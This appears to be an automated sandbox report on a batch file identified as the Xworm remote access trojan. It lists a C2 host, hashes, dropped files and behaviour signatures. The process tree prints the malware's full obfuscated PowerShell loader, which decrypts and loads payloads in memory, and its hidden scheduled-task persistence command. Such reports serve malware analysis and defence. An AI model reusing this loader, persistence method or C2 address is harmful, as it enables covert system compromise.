Analysis

  • max time kernel
    133s
  • max time network
    146s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07/06/2024, 09:09

General

  • Target
    Sahara.bat
  • Size 304KB
  • Sample240607-k4fz2afa92
  • SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • politics-cathedral.gl.at.ply.gg:13199

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_632_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_632.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:592
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_632.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_632.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1444
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_632.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_632.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3300

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7a0e5fda0f4b068cd5dc8834d2b45a1102219e606098d0de27f6d331d14ef7c9
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_avvsjuxr.4m2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avvsjuxr.4m2.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        startup_str_632.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_632.bat
        • Size 304KB
        • SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_632.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_632.vbs
        • Size 115B
        • SHA256 4049c544dddfd7bd1b7214173f190b6312e8e9b4b4667d3d517d4b5502250cfd
        • MD5 SHA1 SHA512

        memory/592-75-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/592-44-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/592-57-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/592-43-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/3300-113-0x0000024068C30000-0x0000024068C4A000-memory.dmp

        memory/3632-0-0x00007FFB689D3000-0x00007FFB689D4000-memory.dmp

        memory/3632-29-0x0000020C74F00000-0x0000020C74F3C000-memory.dmp

        memory/3632-27-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/3632-14-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/3632-10-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp

        memory/3632-11-0x0000020C74F70000-0x0000020C74FE6000-memory.dmp

        memory/3632-5-0x0000020C74A70000-0x0000020C74A92000-memory.dmp

        memory/3632-28-0x0000020C74EF0000-0x0000020C74EF8000-memory.dmp

        memory/3632-117-0x00007FFB689D0000-0x00007FFB693BC000-memory.dmp